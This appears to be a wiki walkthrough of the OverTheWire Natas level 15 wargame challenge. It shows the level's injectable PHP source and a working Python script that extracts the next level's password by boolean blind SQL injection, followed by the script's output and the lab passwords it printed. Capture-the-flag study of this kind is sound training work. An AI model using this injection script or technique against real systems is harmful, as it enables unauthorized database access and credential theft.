Natas15 - natas16

From JaxHax
Jump to navigation Jump to search

Level Goal

Username: [____________________]
[Check existence]

                     <View sourcecode>


Solution

Decided to click the <View sourcecode> link which goes to http://natas15.natas.labs.overthewire.org/index-source.html


It gave me the following code:

 
<html>
   <head>
      <!-- This stuff in the header has nothing to do with the level -->
      <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
      <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
      <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
      <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
      <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
      <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script>
      <script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
      <script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script>
   </head>
   <body>
      <h1>natas15</h1>
      <div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

         <form action="index.php" method="POST">
            Username: <input name="username"><br>
            <input type="submit" value="Check existence" />
         </form>
<? } ?>
         <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
      </div>
   </body>
</html>


I also decided a view source was in order:

   <form action="index.php" method="POST">
      Username: <input name="username"><br>
      <input value="Check existence" type="submit">
   </form>
   <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>


The PHP code looks to be a blind sql inject vulnerablity...

We do get a major head start though thanks to the source code, we know the following about the db:

DB: natas15
Table: users
Columns:
	- username
	- password


So just trying the form since it let's us validate users I first tried 'admin' which seems invalid. Then decided to try 'nata16' which was valid.


With that one being valid I whipped together this python script to bruteforce the blind inject:

import httplib, urllib, base64, sys

URL = "http://natas15.natas.labs.overthewire.org/index.php"
USERNAME = "natas15"
PASSWORD = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
conn = None

def connectToServer():
	global conn
	print "\n [*] Connecting to natas15.natas.labs.overthewire.org..."
	conn = httplib.HTTPConnection("natas15.natas.labs.overthewire.org")

def disconnectFromServer():
	global conn
	print " [*] Closing Connecting...\n"
	if conn is not None:
		conn.close()
		conn = None

def sendRequest(value):
#	print " [*] Requesting page... " + value
	params = params = urllib.urlencode({'username': value})
	headers = {"Content-type": "application/x-www-form-urlencoded"}
	headers["Accept"] = "text/plain" , 
	headers["Authorization"] = "Basic " + base64.b64encode(USERNAME + ":" + PASSWORD)
	try:
		conn.request("POST", "/", params, headers)
		res = conn.getresponse()
		buf = res.read()
		if buf.find("This user doesn't exist.") > 0:
			return False
		elif buf.find("This user exists.") >= 0:
			return True
		else:
			print " [*] Stuff went wrong with request..."
			exit(2)
	except:
		print " [*] ERROR: Request failed! Exiting...\n"
		exit(1)

def brutePassword():
	sys.stdout.write(" [*] Get the possible chars to reduce brute force charset: ")
	sys.stdout.flush()
	possible = ""
	passwd = ""
	for c in CHARS:
		if sendRequest('natas16" AND password LIKE BINARY "%' + c + '%" #'):
			sys.stdout.write(c)
			possible += c
			sys.stdout.flush()
	sys.stdout.write("\n [*] Attempting to bruteforce password: ")
	sys.stdout.flush()
	for i in range(32):
		for c in possible:
			if sendRequest('natas16" AND password LIKE BINARY "' + passwd + c + '%" #'):
				sys.stdout.write(c)
				sys.stdout.flush()
				passwd += c
				break
	print "\n [*] Brute force finished!"
 
connectToServer()
brutePassword()
disconnectFromServer()


When run we get the following:

$ python natas15.py 

 [*] Connecting to natas15.natas.labs.overthewire.org...
 [*] Get the possible chars to reduce brute force charset: acehijmnpqtwBEHINORW03569
 [*] Attempting to bruteforce password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
 [*] Brute force finished!
 [*] Closing Connecting...

$